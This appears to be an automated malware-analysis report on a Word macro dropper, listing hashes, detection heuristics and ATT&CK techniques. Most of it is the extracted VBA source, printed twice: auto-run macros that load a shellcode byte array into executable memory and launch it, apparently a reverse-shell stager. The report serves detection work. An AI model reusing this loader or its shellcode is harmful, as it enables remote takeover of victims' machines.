Doc.Dropper.Valyria-6680543-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 04de4fccb46b5dc6…

MALICIOUS

Office (OLE)

42.5 KB Created: 2019-08-06 06:39:00 Authoring application: Microsoft Office Word First seen: 2019-12-10
MD5: 454a46c40bdf79b6363d4913dc20cb40 SHA-1: a8390bc5098ad9627a5bc42a9721804692e92493 SHA-256: 04de4fccb46b5dc6234d2fa6b69358bde85834806cefef1e78814079e11fc93f
146 Risk Score

Malware Insights

Doc.Dropper.Valyria-6680543-0 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, specifically an Auto_Open macro. The macro utilizes VirtualAlloc and CreateThread API calls, indicative of shellcode execution and likely downloading a second-stage payload. The ClamAV signature 'Doc.Dropper.Valyria-6680543-0' further confirms its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Nvy As Long, Gvzrs As Variant, Bai As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7928 bytes
SHA-256: 7cd645e7cc5e918cde726f91d73be2250e524551e76aef0f6da0ed5970baa5a0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Gzyb As Long, ByVal Qtxpfusx As Long, ByVal Xyjnpgkuq As LongPtr, Sfyw As Long, ByVal Oqblkcy As Long, Iwg As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rql As Long, ByVal Cxzh As Long, ByVal Iznqritnl As Long, ByVal Ntva As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tvy As LongPtr, ByRef Gilsb As Any, ByVal Yvbvp As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Gzyb As Long, ByVal Qtxpfusx As Long, ByVal Xyjnpgkuq As Long, Sfyw As Long, ByVal Oqblkcy As Long, Iwg As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rql As Long, ByVal Cxzh As Long, ByVal Iznqritnl As Long, ByVal Ntva As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tvy As Long, ByRef Gilsb As Any, ByVal Yvbvp As Long) As Long
#End If

Sub Auto_Open()
    Dim Nvy As Long, Gvzrs As Variant, Bai As Long
#If VBA7 Then
    Dim Lzyglpzrp As LongPtr, Noovbbl As LongPtr
#Else
    Dim Lzyglpzrp As Long, Noovbbl As Long
#End If
    Gvzrs = Array(72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 102, 129, 120, 24, _
11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, 0, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, 1, 0, 0, 73, 137, 229, 73, _
188, 2, 0, 17, 92, 10, 140, 58, 160, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, 1, 1, 0, 0, 89, 65, 186, 41, 128, 107, 0, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, 0, 0, 0, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, 0, 16, 0, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 65, 87, 89, 104, 0, 64, 0, 0, 65, 88, 106, 0, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, 1, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, 0, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)

    Lzyglpzrp = VirtualAlloc(0, UBound(Gvzrs), &H1000, &H40)
    For Bai = LBound(Gvzrs) To UBound(Gvzrs)
        Nvy = Gvzrs(Bai)
        Noovbbl = RtlMoveMemory(Lzyglpzrp + Bai, Nvy, 1)
    Next Bai
    Noovbbl = CreateThread(0, 0, Lzyglpzrp, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub




Attribute VB_Name = "yvvgkdxam"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Gzyb As Long, ByVal Qtxpfusx As Long, ByVal Xyjnpgkuq As LongPtr, Sfyw As Long, ByVal Oqblkcy As Long, Iwg As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rql As Long, ByVal Cxzh As Long, ByVal Iznqritnl As Long, ByVal Ntva As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tvy As LongPtr, ByRef Gilsb As Any, ByVal Yvbvp As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Gzyb As Long, ByVal Qtxpfusx As Long, ByVal Xyjnpgkuq As Long, Sfyw As Long, ByVal Oqblkcy As Long, Iwg As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rql As Long, ByVal Cxzh As Long, ByVal Iznqritnl As Long, ByVal Ntva As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tvy As Long, ByRef Gilsb As Any, ByVal Yvbvp As Long) As Long
#End If

Sub Auto_Open()
    Dim Nvy As Long, Gvzrs As Variant, Bai As Long
#If VBA7 Then
    Dim Lzyglpzrp As LongPtr, Noovbbl As LongPtr
#Else
    Dim Lzyglpzrp As Long, Noovbbl As Long
#End If
    Gvzrs = Array(72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 86, 72, 49, 210, 101, 72, 139, 82, 96, 72, 139, 82, 24, 72, 139, 82, 32, 72, 139, 114, 80, 72, 15, 183, 74, 74, 77, 49, 201, 72, 49, 192, 172, 60, 97, 124, 2, 44, 32, 65, 193, 201, 13, 65, 1, 193, 226, 237, 82, 65, 81, 72, 139, 82, 32, 139, 66, 60, 72, 1, 208, 102, 129, 120, 24, _
11, 2, 15, 133, 114, 0, 0, 0, 139, 128, 136, 0, 0, 0, 72, 133, 192, 116, 103, 72, 1, 208, 80, 139, 72, 24, 68, 139, 64, 32, 73, 1, 208, 227, 86, 72, 255, 201, 65, 139, 52, 136, 72, 1, 214, 77, 49, 201, 72, 49, 192, 172, 65, 193, 201, 13, 65, 1, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, 1, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, 1, 208, 65, 139, 4, 136, 72, 1, 208, 65, 88, 65, 88, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 73, 190, 119, 115, 50, 95, 51, 50, 0, 0, 65, 86, 73, 137, 230, 72, 129, 236, 160, 1, 0, 0, 73, 137, 229, 73, _
188, 2, 0, 17, 92, 10, 140, 58, 160, 65, 84, 73, 137, 228, 76, 137, 241, 65, 186, 76, 119, 38, 7, 255, 213, 76, 137, 234, 104, 1, 1, 0, 0, 89, 65, 186, 41, 128, 107, 0, 255, 213, 106, 10, 65, 94, 80, 80, 77, 49, 201, 77, 49, 192, 72, 255, 192, 72, 137, 194, 72, 255, 192, 72, 137, 193, 65, 186, 234, 15, 223, 224, 255, 213, 72, 137, 199, 106, 16, 65, _
88, 76, 137, 226, 72, 137, 249, 65, 186, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 73, 255, 206, 117, 229, 232, 147, 0, 0, 0, 72, 131, 236, 16, 72, 137, 226, 77, 49, 201, 106, 4, 65, 88, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 126, 85, 72, 131, 196, 32, 94, 137, 246, 106, 64, 65, 89, 104, 0, 16, 0, 0, 65, 88, 72, 137, 242, _
72, 49, 201, 65, 186, 88, 164, 83, 229, 255, 213, 72, 137, 195, 73, 137, 199, 77, 49, 201, 73, 137, 240, 72, 137, 218, 72, 137, 249, 65, 186, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 40, 88, 65, 87, 89, 104, 0, 64, 0, 0, 65, 88, 106, 0, 90, 65, 186, 11, 47, 15, 48, 255, 213, 87, 89, 65, 186, 117, 110, 77, 97, 255, 213, 73, 255, 206, 233, 60, 255, _
255, 255, 72, 1, 195, 72, 41, 198, 72, 133, 246, 117, 180, 65, 255, 231, 88, 106, 0, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)

    Lzyglpzrp = VirtualAlloc(0, UBound(Gvzrs), &H1000, &H40)
    For Bai = LBound(Gvzrs) To UBound(Gvzrs)
        Nvy = Gvzrs(Bai)
        Noovbbl = RtlMoveMemory(Lzyglpzrp + Bai, Nvy, 1)
    Next Bai
    Noovbbl = CreateThread(0, 0, Lzyglpzrp, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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